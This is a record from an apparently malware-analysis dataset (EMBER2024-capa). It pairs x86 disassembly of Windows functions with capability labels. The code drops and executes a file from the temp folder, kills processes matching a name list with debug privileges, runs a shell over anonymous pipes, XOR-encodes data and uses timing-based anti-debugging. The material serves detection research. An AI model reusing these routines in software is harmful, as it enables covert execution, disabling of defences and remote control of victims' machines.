joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bcf4
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Query environment variable
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x764
push esi
xor esi, esi
cmp dword [0x432400], esi
push edi
je 0x40bd18
cmp dword [0x442318], esi
jne 0x40bd18
push esi
call fcn.00405857
pop ecx
call fcn.0041809a
lea eax, [ebp - 0x764]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x764]
push eax
lea eax, [ebp - 0x260]
push 0x42e10c
push eax
call fcn.00418f47
add esp, 0xc
lea eax, [ebp - 0x260]
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
jbe 0x40be78
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x764]
push 0x42e0c8
push eax
call fcn.00418f47
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x764]
push eax
call fcn.00418970
pop ecx
push eax
lea eax, [ebp - 0x764]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.004189f0
push 0x44
lea eax, [ebp - 0x58]
pop edi
push edi
push esi
push eax
call fcn.004189f0
add esp, 0x18
mov dword [ebp - 0x58], edi
mov edi, 0x104
lea eax, [ebp - 0x15c]
push edi
push eax
push esi
mov dword [ebp - 0x4c], 0x43afa4
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], si
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40be20
lea eax, [ebp - 0x15c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x764]
push 0x42e0b0
push eax
call fcn.00418f47
add esp, 0x10
lea eax, [ebp - 0x364]
push edi
push eax
lea eax, [ebp - 0x764]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push 0x4008
push 1
push esi
lea eax, [ebp - 0x364]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
leave
ret
Function at 0x40cd3e
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x718
push esi
push 0x200
push dword [ebp + 8]
lea eax, [ebp - 0x718]
push eax
call fcn.00419ce5
add esp, 0xc
lea eax, [ebp + 8]
mov esi, 0x108
push eax
lea eax, [ebp - 0x108]
push eax
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x318]
push eax
call fcn.00419ce5
lea eax, [ebp - 0x718]
push eax
call fcn.00419cc8
add esp, 0x10
shl eax, 1
push eax
lea eax, [ebp - 0x718]
push eax
lea eax, [ebp - 0x318]
push 0
push eax
push 0
call dword [0x442258]
test eax, eax
jne 0x40cdce
mov esi, 0x4425d8
push 0x42eddc
push esi
call fcn.00418f47
pop ecx
pop ecx
jmp 0x40cdf7
lea ecx, [ebp - 0x718]
push ecx
lea ecx, [ebp - 0x318]
push ecx
push eax
call fcn.0040cc0a
pop ecx
mov esi, 0x4425d8
push eax
push 0x42edb4
push esi
call fcn.00418f47
add esp, 0x14
mov eax, esi
pop esi
leave
ret
Function at 0x40d3c5
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push ebx
push esi
push edi
push 0x49
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword [0x442268], ebx
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
rep stosd dword es:[edi], eax
mov ecx, 0x88
lea edi, [ebp - 0x350]
mov dword [ebp - 0x354], ebx
rep stosd dword es:[edi], eax
je 0x40d5c4
cmp dword [0x44224c], ebx
je 0x40d5c4
cmp dword [0x442168], ebx
je 0x40d5c4
push 1
push 0x42c188
call fcn.0040d35a
pop ecx
pop ecx
push ebx
push 0xf
call dword [0x442268]
mov edi, eax
cmp edi, 0xffffffff
mov dword [ebp - 8], edi
je 0x40d5b7
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x128
push eax
push edi
call dword [0x44224c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40d5b2
lea eax, [ebp - 0x130]
push eax
push edi
call dword [0x442168]
test eax, eax
je 0x40d5b2
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, 0x1f0fff
xor eax, eax
cmp dword [ebp + 0x18], eax
je 0x40d4f0
mov dword [ebp - 4], 0x42ef40
mov eax, dword [ebp - 4]
push dword [eax]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40d4bf
add dword [ebp - 4], 4
cmp dword [ebp - 4], 0x42f900
jl 0x40d497
jmp 0x40d598
push dword [ebp - 0x128]
push 0
push ebx
call edi
test eax, eax
mov dword [ebp - 4], eax
je 0x40d598
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40d598
push dword [ebp - 4]
call esi
jmp 0x40d598
cmp dword [ebp + 0x14], eax
jne 0x40d583
cmp dword [ebp + 0xc], eax
je 0x40d598
push dword [ebp - 0x128]
push 8
call dword [0x442268]
cmp dword [ebp + 0x1c], 0
mov dword [ebp - 4], eax
mov dword [ebp - 0x354], 0x224
je 0x40d543
lea ecx, [ebp - 0x354]
push ecx
push eax
call dword [0x442114]
push dword [ebp - 0x128]
test eax, eax
je 0x40d549
lea eax, [ebp - 0x234]
jmp 0x40d54f
push dword [ebp - 0x128]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x554]
push 0x4319f8
push eax
call fcn.00418f47
add esp, 0x10
lea eax, [ebp - 0x554]
push 1
push dword [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040a474
add esp, 0x14
jmp 0x40d4e6
push dword [ebp + 0x14]
lea eax, [ebp - 0x10c]
push eax
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40d5cb
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 8]
call dword [0x442168]
test eax, eax
jne 0x40d489
xor ebx, ebx
push dword [ebp - 8]
call esi
push ebx
push 0x42c188
call fcn.0040d35a
pop ecx
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 0x128]
push 0
push ebx
call edi
push dword [ebp - 8]
mov edi, eax
call esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40d5ef
push edi
call esi
jmp 0x40d5c4
push 1
pop eax
jmp 0x40d5c6
Function at 0x40d6d2
Capabilities:
Terminate process

Disassembly:
push esi
push edi
push 1
pop edi
push dword [esp + 0xc]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40d704
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40d704
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x414aec
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Execute shell command and capture output

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
push ebx
push esi
push edi
call fcn.004148a8
xor esi, esi
lea eax, [ebp - 0x178]
push esi
push eax
push 0x104
push esi
push 0x43543c
push esi
call dword [fcn.00442304]
test eax, eax
je 0x414be6
push 1
lea eax, [ebp - 0x1c]
pop ebx
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push esi
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1c], 0xc
push eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], esi
call edi
test eax, eax
je 0x414be6
lea eax, [ebp - 0x1c]
push esi
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call edi
test eax, eax
je 0x414be6
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 3
push esi
push esi
push 0x4888f8
call edi
push eax
push dword [ebp - 8]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x414be6
push 0x10
lea eax, [ebp - 0x2c]
push esi
push eax
call fcn.004189f0
push 0x44
lea eax, [ebp - 0x74]
pop edi
push edi
push esi
push eax
call fcn.004189f0
mov eax, dword [ebp - 4]
add esp, 0x18
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x74], edi
push eax
lea eax, [ebp - 0x74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, 0x43afa4
push esi
lea eax, [ebp - 0x178]
push ebx
push eax
mov dword [ebp - 0x48], 0x101
mov word [ebp - 0x44], si
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x414bee
or eax, 0xffffffff
jmp 0x414c9c
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [ebp - 0x10]
push dword [ebp - 0x28]
mov dword [0x4888f4], eax
mov eax, dword [ebp - 8]
mov dword [0x4888fc], eax
mov eax, dword [ebp - 0x2c]
mov dword [0x4888f0], eax
call edi
mov eax, dword [ebp + 8]
cmp dword [ebp + 0xc], esi
mov dword [0x488934], eax
je 0x414c28
push dword [ebp + 0xc]
jmp 0x414c29
push ebx
push 0x488900
call fcn.00418f47
pop ecx
pop ecx
push esi
push 7
push 0x43541c
call fcn.00417ed1
mov edi, eax
mov ecx, dword [ebp - 0x24]
imul edi, edi, 0x234
add esp, 0xc
mov dword [edi + 0x443be0], ecx
lea ecx, [ebp - 0x30]
push ecx
push esi
push eax
push 0x414997
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
mov dword [edi + 0x443bec], eax
jne 0x414c9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x378]
push 0x4353ec
push eax
call fcn.00418f47
lea eax, [ebp - 0x378]
push eax
call fcn.00405616
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x415e6e
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00415fbf
imul edi, edi, 0x234
mov esi, eax
xor ebx, ebx
mov eax, dword [edi + 0x443be4]
mov dword [ebp - 0xc], 0xc
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0xc], eax
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
lea eax, [ebp + 8]
push eax
push ebx
push esi
push 0x416191
lea eax, [ebp - 0xc]
push ebx
push eax
call edi
cmp eax, ebx
mov dword [esi + 0x10], eax
jne 0x415ed9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x439800
call fcn.0040568a
or dword [esi + 0xc], 0xffffffff
pop ecx
pop ecx
jmp 0x415f13
lea eax, [ebp + 8]
push eax
push ebx
push esi
push 0x416243
lea eax, [ebp - 0xc]
push ebx
push eax
call edi
cmp eax, ebx
mov dword [esi + 0x14], eax
jne 0x415f1a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x439800
call fcn.0040568a
pop ecx
or dword [esi + 0xc], 0xffffffff
pop ecx
push ebx
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
jmp 0x415fba
mov eax, dword [esi + 0x10]
push 0xffffffffffffffff
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [esi + 8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push ebx
push eax
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x415f74
dec eax
je 0x415f6e
dec eax
je 0x415f5a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4397d0
call fcn.0040568a
pop ecx
pop ecx
jmp 0x415f89
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
push dword [esi + 0x14]
call edi
push ebx
push dword [esi + 0x10]
call edi
jmp 0x415f89
push ebx
push dword [esi + 0x10]
jmp 0x415f78
push ebx
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 1
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 8]
call edi
push dword [esi]
call edi
push dword [esi + 4]
call edi
push dword [esi + 0xc]
call dword [fcn.004422e0]
push esi
call fcn.00418f18
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x415fbf
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor edi, edi
push 0x18
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call fcn.00418ea4
mov esi, eax
pop ecx
cmp esi, edi
je 0x4160a9
mov ebx, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x14]
push edi
push eax
lea eax, [ebp - 8]
mov dword [esi], edi
push eax
mov dword [esi + 4], edi
push esi
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], 1
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x416022
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4398a4
jmp 0x416042
lea eax, [ebp - 0x14]
push 0
push eax
lea eax, [esi + 4]
push eax
lea eax, [ebp - 4]
push eax
call ebx
test eax, eax
jne 0x41604a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x439868
call fcn.0040568a
pop ecx
jmp 0x416078
push dword [ebp + 8]
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.004160b8
add esp, 0xc
mov dword [esi + 8], eax
push dword [ebp - 4]
call edi
push dword [ebp - 8]
call edi
cmp dword [esi + 8], 0
jne 0x4160ad
push 0x439844
call fcn.00405616
cmp dword [ebp - 4], 0
pop ecx
je 0x416084
push dword [ebp - 4]
call edi
cmp dword [ebp - 8], 0
je 0x41608f
push dword [ebp - 8]
call edi
mov eax, dword [esi]
test eax, eax
je 0x416098
push eax
call edi
mov eax, dword [esi + 4]
test eax, eax
je 0x4160a2
push eax
call edi
push esi
call fcn.00418f18
pop ecx
xor eax, eax
jmp 0x4160b3
or dword [esi + 0xc], 0xffffffff
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4160b8
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
push 0x44
pop edi
xor esi, esi
push edi
lea eax, [ebp - 0x58]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.004189f0
push 0x10
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.004189f0
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
add esp, 0x18
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x58], edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push 1
push 2
push eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x48], esi
mov word [ebp - 0x28], si
mov dword [ebp - 0x24], esi
mov word [ebp - 0x26], si
mov dword [ebp - 0x2c], 0x101
mov dword [ebp - 0x1c], ebx
call edi
push eax
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push 0x439914
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x416174
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0xc]
imul eax, eax, 0x234
push dword [ebp - 0x10]
mov esi, dword [ebp - 0x14]
mov dword [eax + 0x443be0], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41618a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4398e0
call fcn.0040568a
mov esi, dword [ebp - 4]
pop ecx
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4164fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [ebp + 0x14], 0xa
je 0x416519
cmp byte [ebp + 0x14], 0xd
je 0x416519
cmp byte [ebp + 0x14], 0x5c
je 0x416519
cmp byte [ebp + 0x14], 0
jne 0x41651c
inc dword [ebp + 0x14]
push esi
mov esi, 0xff
cmp dword [ebp + 0x14], esi
jbe 0x416544
mov eax, dword [ebp + 0x14]
shr eax, 8
cmp al, 0xa
je 0x41653d
cmp al, 0xd
je 0x41653d
cmp al, 0x5c
je 0x41653d
test al, al
jne 0x416544
add dword [ebp + 0x14], 0x100
push dword [ebp + 0x14]
call fcn.004164e2
cmp eax, dword [ebp + 0xc]
pop ecx
mov dword [ebp - 4], eax
ja 0x41655c
cmp eax, 0xffff
jbe 0x416563
xor eax, eax
jmp 0x416601
mov ecx, dword [ebp + 0x14]
push ebx
mov bl, byte [0x488b50]
xor edx, edx
push edi
mov edi, dword [ebp + 0x10]
test ecx, ecx
jbe 0x416593
mov al, byte [edx + edi]
xor al, bl
je 0x41658a
cmp al, 0xa
je 0x41658a
cmp al, 0xd
je 0x41658a
cmp al, 0x5c
jne 0x41658e
inc bl
xor edx, edx
inc edx
cmp edx, ecx
jb 0x416577
cmp ecx, esi
mov byte [0x488b50], bl
ja 0x4165bf
push 0x15
push 0x43996c
push dword [ebp + 8]
mov byte [0x439979], cl
mov byte [0x43997d], bl
call fcn.00418a50
add esp, 0xc
push 0x15
jmp 0x4165e0
push 0x17
push 0x439954
push dword [ebp + 8]
mov word [0x439962], cx
mov byte [0x439967], bl
call fcn.00418a50
add esp, 0xc
push 0x17
xor eax, eax
pop ecx
cmp dword [ebp + 0x14], eax
jbe 0x4165fc
mov edx, dword [ebp + 8]
lea esi, [ecx + edx]
mov cl, byte [eax + edi]
xor cl, bl
mov byte [esi + eax], cl
inc eax
cmp eax, dword [ebp + 0x14]
jb 0x4165ee
mov eax, dword [ebp - 4]
pop edi
pop ebx
pop esi
leave
ret
Function at 0x416fde
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
push esi
push eax
xor esi, esi
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x417071
cmp dword [ebp - 0x90], 4
jne 0x417047
cmp dword [ebp - 0x8c], esi
jne 0x41702f
cmp dword [ebp - 0x84], 1
jne 0x417022
push 1
pop esi
cmp dword [ebp - 0x84], 2
jne 0x417071
push 1
jmp 0x417070
cmp dword [ebp - 0x8c], 0xa
jne 0x41703c
push 2
jmp 0x417070
cmp dword [ebp - 0x8c], 0x5a
jne 0x417071
jmp 0x417061
cmp dword [ebp - 0x90], 5
jne 0x417071
cmp dword [ebp - 0x8c], esi
je 0x417038
cmp dword [ebp - 0x8c], 1
jne 0x417065
push 3
jmp 0x417070
cmp dword [ebp - 0x8c], 2
jne 0x417071
push 7
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x417076
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebx
push esi
push edi
mov esi, 0xf4240
rdtsc
push 0x3e8
mov edi, edx
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call fcn.0041a5d0
mov edi, edx
mov ebx, eax
test edi, edi
ja 0x41707e
jb 0x4170ad
cmp ebx, esi
ja 0x41707e
push 0
push 0x64
push edi
push ebx
call fcn.0041a640
mov ecx, edx
push 0x64
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja 0x417120
jb 0x4170cc
cmp esi, 0x50
jae 0x4170d1
push 0x4b
xor edx, edx
pop eax
test ecx, ecx
ja 0x417120
jb 0x4170dc
cmp esi, 0x47
jae 0x4170e1
push 0x42
xor edx, edx
pop eax
test ecx, ecx
ja 0x417120
jb 0x4170ec
cmp esi, 0x37
jae 0x4170f1
push 0x32
xor edx, edx
pop eax
test ecx, ecx
ja 0x417120
jb 0x4170fc
cmp esi, 0x26
jae 0x417101
push 0x21
xor edx, edx
pop eax
test ecx, ecx
ja 0x417120
jb 0x41710c
cmp esi, 0x1e
jae 0x417111
push 0x19
xor edx, edx
pop eax
test ecx, ecx
ja 0x417120
jb 0x41711c
cmp esi, 0xa
jae 0x417120
xor eax, eax
xor edx, edx
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
ret
Function at 0x41800c
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle 0x418094
cmp esi, 0x1f4
jge 0x418094
imul esi, esi, 0x234
push edi
push ebx
push dword [esi + 0x443bec]
lea edi, [esi + 0x443bec]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [edi], ebx
je 0x418044
push 1
pop ebp
mov dword [edi], ebx
lea edi, [esi + 0x443be0]
mov dword [esi + 0x443bd8], ebx
mov dword [esi + 0x443bdc], ebx
mov eax, dword [edi]
cmp eax, ebx
jbe 0x418065
push eax
call fcn.0040d6d2
pop ecx
mov dword [edi], ebx
lea edi, [esi + 0x443be4]
mov byte [esi + 0x4439d8], bl
mov byte [esi + 0x443bf0], bl
push dword [edi]
call dword [fcn.004422e0]
lea esi, [esi + 0x443be8]
mov dword [edi], ebx
push dword [esi]
call dword [fcn.004422e0]
mov dword [esi], ebx
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret

Function at 0x419c84
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x419ca4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041dcd1
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x419cc5
test byte [esp + 8], 2
je 0x419cc5
mov dword [0x488bb8], 0xd
mov dword [0x488bbc], 5
jmp 0x419ca0
xor eax, eax
ret

Function at 0x41b011
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
sub esp, 0x58
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetVersion]
xor edx, edx
mov dl, ah
mov dword [0x488bd0], edx
mov ecx, eax
and ecx, 0xff
mov dword [0x488bcc], ecx
shl ecx, 8
add ecx, edx
mov dword [0x488bc8], ecx
shr eax, 0x10
mov dword [0x488bc4], eax
xor esi, esi
push esi
call fcn.0041bae2
pop ecx
test eax, eax
jne 0x41b060
push 0x1c
call fcn.0041b10f
pop ecx
mov dword [ebp - 4], esi
call fcn.00420124
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x48a224], eax
call fcn.0041fff2
mov dword [0x488c04], eax
call fcn.0041fda5
call fcn.0041fcec
call fcn.0041acb4
mov dword [ebp - 0x30], esi
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.0041fc94
mov dword [ebp - 0x64], eax
test byte [ebp - 0x30], 1
je 0x41b0ad
movzx eax, word [ebp - 0x2c]
jmp 0x41b0b0
push 0xa
pop eax
push eax
push dword [ebp - 0x64]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x60], eax
push eax
call fcn.0041ace1
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x68], ecx
push eax
push ecx
call fcn.0041fb10
pop ecx
pop ecx
ret
Function at 0x4203e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x43a7d8
cmp edx, dword [eax]
je 0x42040b
add eax, 8
inc ecx
cmp eax, 0x43a868
jl 0x4203fc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x43a7d8]
jne 0x420539
mov eax, dword [0x488c0c]
cmp eax, 1
je 0x420513
test eax, eax
jne 0x42043c
cmp dword [0x43a164], 1
je 0x420513
cmp edx, 0xfc
je 0x420539
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x420473
lea eax, [ebp - 0x1a4]
push 0x424b74
push eax
call fcn.004190d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00418970
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4204b6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00418970
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x424b70
push edi
call fcn.00419e20
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x424b54
push eax
call fcn.004190d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004190e0
lea eax, [ebp - 0xa0]
push 0x424b50
push eax
call fcn.004190e0
push dword [esi + 0x43a7dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.004190e0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x424b28
push eax
call fcn.00421bc1
add esp, 0x2c
pop edi
jmp 0x420539
lea eax, [ebp + 8]
lea esi, [esi + 0x43a7dc]
push 0
push eax
push dword [esi]
call fcn.00418970
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret